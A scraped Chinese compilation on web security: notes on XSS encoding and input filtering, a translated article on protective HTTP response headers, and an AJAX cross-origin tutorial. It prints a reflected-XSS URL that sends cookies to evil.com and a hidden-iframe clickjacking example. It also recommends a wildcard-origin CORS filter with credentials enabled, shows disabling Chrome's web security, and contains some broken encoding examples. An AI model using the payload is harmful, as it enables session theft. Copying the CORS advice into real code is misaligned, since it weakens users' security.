三個八進制數字，如果數字不夠，在前面補零，如a的編碼為1
兩個十六進制數字，如果數字不夠，在前面補零，如a的編碼為\x61
四個十六進制數字，如果數字不夠，在前面補零，如a的編碼為\u0061
對于一些控制字符，使用特殊的C類型的轉義風格，如\n和\r
以&開頭，以分號結尾的，如<的編碼為&1t;
十進制，十六進制的ASCII碼或者Unicode字符編碼。樣式為&#數值;
如<的編碼為
<(10進制)
<(16進制)
這里為url全編碼，也就是兩次url編碼
如alert的url全編碼為%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34
如alert的編碼為String.fromCharCode(97,108,101,114,116)
輸入是否僅僅包含合法的字符
輸入字符串是否超過最大長度的限制
輸入如果為數字，數字是否在指定的范圍內
輸入是否符合特定的格式要求，如郵箱、電話號碼、ip地址等
2、數據消毒
除了在客戶端驗證數據的合法性，輸入過濾中最重要的還是過濾和凈化有害的輸入，例如如下常見的敏感字符：
||<> ’ "&# javascript expression
對輸出的數據進行編碼，如HTML編碼，就是讓可能造成危害的信息變成無害。
兩點注意點：
2021最新整理網絡安全/滲透測試/安全學習/100份src技術文檔（全套視頻、大廠面經、精品手冊、必備工具包、路線）一>關注我，私信回復"資料"獲取<一
微軟開發的，.Net平臺下的，用于方式XSS攻擊的類庫，它提供了大量的編碼函數來對用戶輸入的數據進行編碼，可以實現基于白名單的輸入的過濾和輸出編碼。
當Cookie在消息頭中被設置為HttpOnly時，這樣支持Cookie的瀏覽器將阻止客戶端Javascript直接訪問瀏覽器中的cookies，從而達到保護敏感數據的作用。
Noscript是一款免費的開源插件，該插件默認禁止所有腳本，但可以自定義設置允許通過的腳本。
使用WAF，比如軟WAF，硬WAF、云WAF等。
文地址：How To Secure Your Web App With HTTP Headers
原文作者：Hagay Lupesko
眾所周知，無論是簡單的小網頁還是復雜的單頁應用，Web 應用都是網絡攻擊的目標。2016 年，這種最主要的攻擊模式 —— 攻擊 web 應用，造成了大約 40% 的數據泄露。事實上，現在來說，了解網絡安全并不是錦上添花，而是 Web 開發者的必需任務，特別對于構建面向消費者的產品的開發人員。
開發者可以利用 HTTP 響應頭來加強 Web 應用程序的安全性，通常只需要添加幾行代碼即可。本文將介紹 web 開發者如何利用 HTTP Headers 來構建安全的應用。雖然本文的示例代碼是 Node.js，但基本所有主流的服務端語言都支持設置 HTTP 響應頭，并且都可以簡單地對其進行配置。
技術上來說，HTTP 頭只是簡單的字段，以明文形式編碼，它是 HTTP 請求和響應消息頭的一部分。它們旨在使客戶端和服務端都能夠發送和接受有關要建立的連接、所請求的資源，以及返回的資源本身的元數據。
可以簡單地使用 cURL --head 來檢查純文本 HTTP 響應頭，例如：
$ curl --head https://www.google.com
HTTP/1.1 200 OK
Date: Thu, 05 Jan 2017 08:20:29 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Transfer-Encoding: chunked
Accept-Ranges: none
Vary: Accept-Encoding
…復制代碼現在，數百種響應頭正在被 web 應用所使用，其中一部分由互聯網工程任務組（IETF）標準化。IETF 是一個開放性組織，今天我們所熟知的許多 web 標準和專利都是由他們推進的。HTTP 頭提供了一種靈活可擴展的機制，造就了現今的網絡各種豐富多變的用例。
緩存是優化客戶端-服務端架構性能中有效的技術，HTTP 也不例外，同樣廣泛利用了緩存技術。但是，在緩存的資源是保密的情況下，緩存可能導致漏洞，所以必須避免。假設一個 web 應用對含有敏感信息的網頁進行緩存，并且是在一臺公用的 PC 上使用，任何人可以通過訪問瀏覽器的緩存看到這個 web 應用上的敏感信息，甚至有時僅僅通過點擊瀏覽器的返回按鈕就可以看到。
IETF RFC 7234 中定義了 HTTP 緩存，指定 HTTP 客戶端（瀏覽器以及網絡代理）的默認行為：除非另行指定，否則始終緩存對 HTTP GET 請求的響應。雖然這樣可以使 HTTP 提升性能減少網絡擁塞，但如上所述，它也有可能使終端用戶個人信息被盜。好消息是，HTTP 規范還定義了一種非常簡單的方式來指示客戶端對特定響應不進行緩存，通過使用 —— 對，你猜到了 —— HTTP 響應頭。
當你準備返回敏感信息并希望禁用 HTTP 客戶端的緩存時，有三個響應頭可以返回：
從 HTTP 1.1 引入的此響應頭可能包含一個或多個指令，每個指令帶有特定的緩存語義，指示 HTTP 客戶端和代理如何處理有此響應頭注釋的響應。我推薦如下指定響應頭，cache-control: no-cache, no-store, must-revalidate。這三個指令基本上可以指示客戶端和中間代理不可使用之前緩存的響應，不可存儲響應，甚至就算響應被緩存，也必須從源服務器上重新驗證。
為了向后兼容 HTTP 1.0，你還需要包含此響應頭。有部分客戶端，特別是中間代理，可能仍然沒有完全支持 HTTP 1.1，所以不能正確處理前面提到的 Cache-Control 響應頭，因此使用 Pragma: no-cache 確保較舊的客戶端不緩存你的響應。
此響應頭指定了該響應過期的時間戳。如果不指定為未來某個真實時間而指定為 -1，可以保證客戶端立即將此響應視為過期并避免緩存。
需要注意的是，禁用緩存提高安全性及保護機密資源的同時，也的確會帶來性能上的折損。所以確保僅對實際需要保密性的資源禁用緩存，而不是對服務器的任何響應禁用。想要更深入了解 web 資源緩存的最佳實踐，我推薦閱讀 Jake Archibald 的文章。
下面是 Node.js 中設置響應頭的示例代碼：
function requestHandler(req, res) {
res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');
res.setHeader('Pragma','no-cache');
res.setHeader('Expires','-1');
}復制代碼今天，HTTPS 的重要性已經得到了技術界的廣泛認可。越來越多的 web 應用配置了安全端點，并將不安全網路重定向到安全端點（即 HTTP 重定向至 HTTPS）。不幸的是，終端用戶還未完全理解 HTTPS 的重要性，這種缺乏理解使他們面臨著各種中間人攻擊（MitM）。普通用戶訪問到一個 web 應用時，并不會注意到正在使用的網絡協議是安全的（HTTPS）還是不安全的（HTTP）。甚至，當瀏覽器出現了證書錯誤或警告時，很多用戶會直接點擊略過警告。
與 web 應用進行交互時，通過有效的 HTTPS 連接是非常重要的：不安全的連接將會使得用戶暴露在各種攻擊之下，這可能導致 cookie 被盜甚至更糟。舉個例子，攻擊者可以在公共 Wi-Fi 網絡下輕易騙取網絡幀并提取那些不使用 HTTPS 的用戶的會話 cookie。更糟的情況是，即使用戶通過安全連接與 web 應用進行交互也可能遭受降級攻擊，這種攻擊試圖強制將連接降級到不安全的連接，從而使用戶受到中間人攻擊。
我們如何幫助用戶避免這些攻擊，并更好地推行 HTTPS 的使用呢？使用 HTTP 嚴格傳輸安全頭（HSTS）。簡單來說，HSTS 確保與源主機間的所有通信都使用 HTTPS。RFC 6797 中說明了，HSTS 可以使 web 應用程序指示瀏覽器僅允許與源主機之間的 HTTPS 連接，將所有不安全的連接內部重定向到安全連接，并自動將所有不安全的資源請求升級為安全請求。
HSTS 的指令如下：
此項指示瀏覽器對此域緩存此響應頭指定的秒數。這樣可以保證長時間的加固安全。
此項指示瀏覽器對當前域的所有子域應用 HSTS，這可以用于所有當前和未來可能的子域。
這是一個強大的指令，強制瀏覽器始終安全加載你的 web 應用程序，即使是第一次收到響應之前加載！這是通過將啟用 HSTS 預加載域的列表硬編碼到瀏覽器的代碼中實現的。要啟用預加載功能，你需要在 Google Chrome 團隊維護的網站 HSTS 預加載列表提交注冊你的域。
注意謹慎使用 preload，因為這意味著它不能輕易撤銷，并可能更新延遲數個月。雖然預加載肯定會加強應用程序的安全性，但也意味著你需要充分確信你的應用程序僅支持 HTTPS！
我建議的用法是 Strict-Transport-Security: max-age=31536000; includeSubDomains;，這樣指示了瀏覽器強制通過 HTTPS 連接到源主機并且有效期為一年。如果你對你的 app 僅處理 HTTPS 很有信心，我也推薦加上 preload 指令，當然別忘記去前面提到的預加載列表注冊你的網站。
以下是在 Nodes.js 中實現 HSTS 的方法：
function requestHandler(req, res){
res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');
}復制代碼在反射型跨站腳本攻擊（reflected XSS）中，攻擊者將惡意 JavaScript 代碼注入到 HTTP 請求，注入的代碼「映射」到響應中，并由瀏覽器執行，從而使惡意代碼在可信任的上下文中執行，訪問諸如會話 cookie 中的潛在機密信息。不幸的是，XSS 是一個很常見的網絡應用攻擊，且令人驚訝地有效！
為了了解反射型 XSS 攻擊，參考以下 Node.js 代碼，渲染 mywebapp.com，模擬一個簡單的 web 應用程序，它將搜索結果以及用戶請求的搜索關鍵詞一起呈現：
function handleRequest(req, res) {
res.writeHead(200);
// Get the search term
const parsedUrl=require('url').parse(req.url);
const searchTerm=decodeURI(parsedUrl.query);
const resultSet=search(searchTerm);
// Render the document
res.end(
"<html>" +
"<body>" +
"<p>You searched for: " + searchTerm + "</p>" +
// Search results rendering goes here…
"</body>" +
"</html>");
};復制代碼現在，來考慮一下上面的 web 應用程序會如何處理在 URL 中嵌入的惡意可執行代碼，例如：
https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>復制代碼你可能意識到了，這個 URL 會讓瀏覽器執行注入的腳本，并發送極有可能包含機密會話的用戶 cookies 到 evil.com。
為了保護用戶抵抗反射型 XSS 攻擊，有些瀏覽器實施了保護機制。這些保護機制嘗試通過在 HTTP 請求和響應中尋找匹配的代碼模式來辨識這些攻擊。Internet Explorer 是第一個推出這種機制的，在 2008 年的 IE 8 中引入了 XSS 過濾器的機制，而 WebKit 后來推出了 XSS 審計，現今在 Chrome 和 Safari 上可用（Firefox 沒有內置類似的機制，但是用戶可以使用插件來獲得此功能）。這些保護機制并不完美，它們可能無法檢測到真正的 XSS 攻擊（漏報），在其他情況可能會阻止合法代碼（誤判）。由于后一種情況的出現，瀏覽器允許用戶可設置禁用 XSS 過濾功能。不幸的是，這通常是一個全局設置，這會完全關閉所有瀏覽器加載的 web 應用程序的安全功能。
幸運的是，有方法可以讓 web 應用覆蓋此配置，并確保瀏覽器加載的 web 應用已打開 XSS 過濾器。即通過設定 X-XSS-Protection 響應頭實現。此響應頭支持 Internet Explorer（IE8 以上）、Edge、Chrome 和 Safari，指示瀏覽器打開或關閉內置的保護機制，及覆蓋瀏覽器的本地配置。
X-XSS-Protection 指令包括:
使用或禁用 XSS 過濾器。
當檢測到 XSS 攻擊時，這會指示瀏覽器不渲染整個頁面。
我建議永遠打開 XSS 過濾器以及 block 模式，以求最大化保護用戶。這樣的響應頭應該是這樣的：
X-XSS-Protection: 1; mode=block復制代碼以下是在 Node.js 中配置此響應頭的方法:
function requestHandler(req, res){
res.setHeader('X-XSS-Protection','1;mode=block');}復制代碼iframe （正式來說，是 HTML 內聯框架元素）是一個 DOM 元素，它允許一個 web 應用嵌套在另一個 web 應用中。這個強大的元素有部分重要的使用場景，比如在 web 應用中嵌入第三方內容，但它也有重大的缺點，例如對 SEO 不友好，對瀏覽器導航跳轉也不友好等等。
其中一個需要注意的事是它使得點擊劫持變得更加容易。點擊劫持是一種誘使用戶點擊并非他們想要點擊的目標的攻擊。要理解一個簡單的劫持實現，參考以下 HTML，當用戶認為他們點擊可以獲得獎品時，實際上是試圖欺騙用戶購買面包機。
<html>
<body>
<button class='some-class'>Win a Prize!</button>
<iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>
</body>
</html>復制代碼有許多惡意應用程序都采用了點擊劫持，例如誘導用戶點贊，在線購買商品，甚至提交機密信息。惡意 web 應用程序可以通過在其惡意應用中嵌入合法的 web 應用來利用 iframe 進行點擊劫持，這可以通過設置 opacity: 0 的 CSS 規則將其隱藏，并將 iframe 的點擊目標直接放置在看起來無辜的按鈕之上。點擊了這個無害按鈕的用戶會直接點擊在嵌入的 web 應用上，并不知道點擊后的后果。
阻止這種攻擊的一種有效的方法是限制你的 web 應用被框架化。在 RFC 7034 中引入的 X-Frame-Options，就是設計用來做這件事的。此響應頭指示瀏覽器對你的 web 應用是否可以被嵌入另一個網頁進行限制，從而阻止惡意網頁欺騙用戶調用你的應用程序進行各項操作。你可以使用 DENY 完全屏蔽，或者使用 ALLOW-FROM 指令將特定域列入白名單，也可以使用 SAMEORIGIN 指令將應用的源地址列入白名單。
我的建議是使用 SAMEORIGIN 指令，因為它允許 iframe 被同域的應用程序所使用，這有時是有用的。以下是響應頭的示例：
X-Frame-Options: SAMEORIGIN復制代碼以下是在 Node.js 中設置此響應頭的示例代碼：
function requestHandler(req, res){
res.setHeader('X-Frame-Options','SAMEORIGIN');}復制代碼如前所述，你可以通過啟用瀏覽器的 XSS 過濾器，給你的 web 應用程序增強安全性。然而請注意，這種機制是有局限性的，不是所有瀏覽器都支持（例如 Firefox 就不支持 XSS 過濾），并且依賴的模式匹配技術可以被欺騙。
對抗 XSS 和其他攻擊的另一層的保護，可以通過明確列出可信來源和操作來實現 —— 這就是內容安全策略（CSP）。
CSP 是一種 W3C 規范，它定義了強大的基于瀏覽器的安全機制，可以對 web 應用中的資源加載以及腳本執行進行精細的控制。使用 CSP 可以將特定的域加入白名單進行腳本加載、AJAX 調用、圖像加載和樣式加載等操作。你可以啟用或禁用內聯腳本或動態腳本（臭名昭著的 eval），并通過將特定域列入白名單來控制框架化。CSP 的另一個很酷的功能是它允許配置實時報告目標，以便實時監控應用程序進行 CSP 阻止操作。
這種對資源加載和腳本執行的明確的白名單提供了很強的安全性，在很多情況下都可以防范攻擊。例如，使用 CSP 禁止內聯腳本，你可以防范很多反射型 XSS 攻擊，因為它們依賴于將內聯腳本注入到 DOM。
CSP 是一個相對復雜的響應頭，它有很多種指令，在這里我不詳細展開了，可以參考 HTML5 Rocks 里一篇很棒的教程，其中提供了 CSP 的概述，我非常推薦閱讀它來學習如何在你的 web 應用中使用 CSP。
以下是一個設置 CSP 的示例代碼，它僅允許從應用程序的源域加載腳本，并阻止動態腳本的執行（eval）以及內嵌腳本（當然，還是 Node.js):
function requestHandler(req, res){
res.setHeader('Content-Security-Policy',"script-src 'self'");}復制代碼為了使用戶體驗盡可能無縫，許多瀏覽器實現了一個功能叫內容類型嗅探，或者 MIME 嗅探。這個功能使得瀏覽器可以通過「嗅探」實際 HTTP 響應的資源的內容直接檢測到資源的類型，無視響應頭中 Content-Type 指定的資源類型。雖然這個功能在某些情況下確實是有用的，它引入了一個漏洞以及一種叫 MIME 類型混淆攻擊的攻擊手法。MIME 嗅探漏洞使攻擊者可以注入惡意資源，例如惡意腳本，偽裝成一個無害的資源，例如一張圖片。通過 MIME 嗅探，瀏覽器將忽略聲明的圖像內容類型，它不會渲染圖片，而是執行惡意腳本。
幸運的是，X-Content-Type-Options 響應頭緩解了這個漏洞。此響應頭在 2008 年引入 IE8，目前大多數主流瀏覽器都支持（Safari 是唯一不支持的主流瀏覽器），它指示瀏覽器在處理獲取的資源時不使用嗅探。因為 X-Content-Type-Options 僅在 「Fetch」規范中正式指定，實際的實現因瀏覽器而異。一部分瀏覽器（IE 和 Edge）完全阻止了 MIME 嗅探，而其他一些（Firefox）仍然會進行 MIME 嗅探，但會屏蔽掉可執行的資源（JavaScript 和 CSS）如果聲明的內容類型與實際的類型不一致。后者符合最新的 Fetch 規范。
X-Content-Type-Options 是一個很簡單的響應頭，它只有一個指令，nosniff。它是這樣指定的：X-Content-Type-Options: nosniff。以下是示例代碼：
function requestHandler(req, res){
res.setHeader('X-Content-Type-Options','nosniff');}復制代碼本文中，我們了解了如何利用 HTTP 響應頭來加強 web 應用的安全性，防止攻擊和減輕漏洞。
請記住，為了使 web 真正迷人，它必須是安全的。利用 HTTP 響應頭構建更加安全的網頁吧！
寫在最前】
我們在平時的編程學習中，經常會接觸到“ajax跨域”這個概念；
但是很多小白只知其然，不知其所以然，甚至是在查閱了很多資料之后仍然是云山霧罩。
通過本文知識，讓我們花5分鐘時間徹底搞懂它，相信聰明的你，看完一定會有收獲！
跨域問題來源于瀏覽器的“同源策略”(Same-origin policy)，即瀏覽器為了安全，會對“不同源”的網頁請求做出如下限制：
1）不能訪問對方的數據（cookies、LocalStorage和IndexDB）
2）不能訪問對方的DOM
3）不能向對方發送AJAX請求
同源的定義：
“協議+域名+端口” 三者必須完全一致才算同源，否則就屬于“不同源”。
假設： http://www.example.com:8000/test.html
那么：
* http://www.example.com:8000/test2.html 屬于同源
* https://www.example.com:8000/test.html 屬于不同源（因為協議不同）
* http://www.example.cn:8000/test.html 屬于不同源（因為域名不同）
* http://www.example.com:8001/test.html 屬于不同源（因為端口不同）
“同源策略”是瀏覽器安全的基石，主要目的是為了保護用戶數據安全。
假設一下，如果沒有同源策略，當瀏覽器在訪問一個銀行網站的同時還在訪問另一個網站B，如果銀行網站把session保存在cookies中，而B又能隨便讀取cookie數據，那么B站用戶就可以冒充銀行用戶在銀行網站為所欲為了。
同源策略的限制是必需的，但是有時合理正常的使用也受影響，很不方便。
比如：一個大網站有很多子域名的情況，這些子域名之間的數據通信也會因此策略而不能正常交互。
常見報錯信息如下：
No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://www.xxx.com' is therefore not allowed access.
常用解決方案：
方案1：CORS 跨源資源共享（Cross-Origin Resource Sharing）（推薦）
CORS是W3C標準，也是解決AJAX跨域請求的標準解決方法。其實從AJAX跨域請求返回的錯誤信息里，已經暗示了服務器端沒有配置支持跨源資源共享。
CORS需要瀏覽器和服務器同時支持。目前，所有現代瀏覽器都支持該功能，IE瀏覽器需要IE9+。
整個CORS通信過程，都是瀏覽器自動完成，不需要用戶人工參與。
具體流程如下：
1）瀏覽器發現本次請求是AJAX跨源請求，就會在請求頭中自動添加： Origin: http://www.xxx.com ，表明本次請求來自哪個源（協議 + 域名 + 端口）
2）服務器根據請求頭中的 Origin 值，決定是否同意這次請求。
a)如果 Origin不在許可范圍內，服務器會返回一個正常的HTTP回應。
當瀏覽器發現回應頭中沒有包含Access-Control-Allow-Origin字段時，則會拋出一個錯誤，被XMLHttpRequest的onerror回調函數捕獲。
特別注意:這種錯誤無法通過HTTP狀態碼(status code)識別，因為HTTP回應的狀態碼是正常的200。
b)如果Origin 在許可返回，則服務器會在響應頭中下發 Access-Control-Allow-Origin: http://www.xxx.com，此時雙方即可正常通信
服務器端，一般都是用全局過濾器來處理跨域請求，從而實現“對業務代碼零侵入”
以java 語言為例：
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
response.setHeader("Access-Control-Allow-Origin", "*");
response.setHeader("Access-Control-Allow-Headers", "*");
response.setHeader("Access-Control-Allow-Credentials", "true");
filterChain.doFilter(servletRequest, response);
return;
}
方案2：架設代理服務器
原理：把發往其他域的請求，發給自己的代理服務器，代理服務器完成請求后，將響應數據返回給原始請求，本質是繞開了瀏覽器的“同源策略”
一個 nginx 代理服務器的配置例子：
server {
listen 8001;
location / {
root "D:/programs/Tomcat 8.5/webapps/ROOT";
}
location ^~ /HelloWorld {
proxy_pass http://test2.kuayutest.com:8080;
}
}
方案3: 關閉瀏覽器的同源策略
既然是本地瀏覽器的策略，那么我禁掉策略就好啦
特別注意：這種方案僅僅適用于本地臨時調試，且各瀏覽器設置方法不同
以Chrome瀏覽器為例說明：
啟動Chorme時添加如下參數：
chrome --disable-web-security --user-data-dir
另外，還有 WebSocket、JSONP（只支持GET請求） 等方案，對業務代碼侵入性都很大，性價比不高，所以此處均一筆帶過，不再詳細介紹。
【全文完】
十年技術沉淀，只做原創文章；
及時關注作者，成就大牛之路！
*請認真填寫需求信息，我們會在24小時內與您取得聯系。
